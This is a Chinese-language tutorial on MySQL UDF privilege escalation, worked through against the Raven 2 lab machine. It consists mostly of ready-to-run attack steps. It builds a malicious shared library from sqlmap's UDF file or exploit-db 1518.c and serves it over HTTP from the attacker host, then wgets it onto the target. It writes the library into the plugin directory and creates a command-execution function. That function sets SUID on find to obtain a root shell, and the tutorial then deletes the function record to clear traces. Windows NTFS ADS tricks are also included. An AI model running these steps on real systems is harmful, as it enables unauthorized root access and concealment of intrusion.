MySQL UDF提权详细笔记
UDF,User Define Function,即用户自定义函数,通过这种方法可以执行任意系统命令以提升权限。
利用条件
能够以root权限登录mysql并且有写入文件到lib/plugin目录的权限,即secure_file_priv没有值。
secure_file_priv是用来限制数据导入导出的值,通过show global variables like "%secure%"可以查看,这个值存在三种情况:
| secure_file_priv | 说明 |
|---|---|
| NULL | 不允许数据的导入导出,不能提权 |
具体目录(如/tmp) |
数据只能导入导出到这一目录,一般不能提权(除非运维脑抽设置到mysql配置目录) |
这也是默认值(MySQL 5.6.10实测),即没有设置,可以提权 |
如果无法提权,但有特殊权限,可以尝试修改my.ini文件中的secure_file_priv。
简而言之就是:
secure_file_priv没有值plugin路径已知root权限 / 可写文件的权限
必要的信息收集
# 获取MySQL安装路径select @basedir;# 查看是否可以提权show global variales like "%secure%";# 获取plugin路径select @@plugin_dir;
使用kali对Raven 2靶机进行实战的过程
得到udf文件(本文介绍两种方式):
sqlmap版(这里获取的是Linux的,Windows一样,so文件改成dll就行):
在/usr/share/sqlmap/data/udf/mysql/下的linux/64目录下有Linux的64位的lib_mysqludf_sys.so_文件(另外也有32位 / Windows的,这个文件经过了异或编码)
# 异或解码,得到可用的so文件(Windows是so文件)$ python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_# 把文件复制出来,改个名字$ cd /root$ cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so /root$ mv lib_mysqludf_sys.so exp.so# 挂到本机8000端口上$ python3 -m http.server 8000
sqlmap的udf文件中提供了以下自定义函数:
sys_eval:执行任意命令,并将输出返回(测试过程中不好用)
sys_exec:执行任意命令,并将退出码返回(测试好用,但无回显)
sys_get:获取一个环境变量
sys_set:创建或修改一个环境变量
exp-db版:
搜索expsearchsploit mysql udfcopy到当前目录cp /usr/share/exploitdb/exploits/linux/local/1518.c .-c: 编译为二进制so文件,-g:生成调试信息gcc -g -c 1518.c-shared:创建一个动态链接库,-o:输出文件名,-lc:-l 库 c库名gcc -g -shared -o exp.so 1518.o -lc挂到本机8000端口上python3 -m http.server 8000
另外,Windows在利用过程中可能遇到的问题解决方案:
| 版本 | 导出路径 |
|---|---|
| MySQL < 5.0 | 随意 |
| 5.0 <= MySQL< 5.1 | 目标服务器的系统目录(如:C:\\Windows\\system32\\) |
| 5.1 > MySQL | MySQL安装目录下的lib\plugin\文件夹 |
plugin目录可能需要自行创建(用NTFS ADS流模式突破进而创建文件夹):
mysql> select @@basedir;select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.6\\lib::$INDEX_ALLOCATION';select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.6\\lib\\plugin::$INDEX_ALLOCATION'
将so / dll文件导入目标服务器(在服务器上的操作):
切换到/tmp目录(服务器目录太显眼)cd /tmp在/tmp目录下载exp.sowget 192.168.17.129:8000/exp.so登录mysqlmysql -uroot -pR@v3nSecurity使用mysql数据库use mysql;创建表myfunccreate table myfunc(line blob);插入数据insert into myfunc values(load_file('/tmp/exp.so'));把文件导出到pluginselect * from myfunc into dumpfile '/usr/lib/mysql/plugin/exp.so';创建自定义函数(这里是exp-db版本,如果是使用sqlmap的udf文件,则函数名do_system改为sys_exec,如果是sqlmap-Windows版的那就是cmdshell)create function do_system returns integer soname 'exp.so';检查是否创建成功select * from mysql.func;调用do_system函数赋予find目录suid权限,再进行suid提权(DC系列靶机文章中有介绍)select do_system('chmod u+s /usr/bin/find');清除痕迹delete from mysql.func where name='do_system';退出mysqlquit;SUID:find提权find . -exec /bin/sh \;提权成功whoamiroot
参考文章
https://blog.csdn.net/qq_36119192/article/details/84863268
https://blog.csdn.net/qq_26090065/article/details/81515355
【强烈推荐】http://www.tuzk1.top/posts/a58a22fd.html
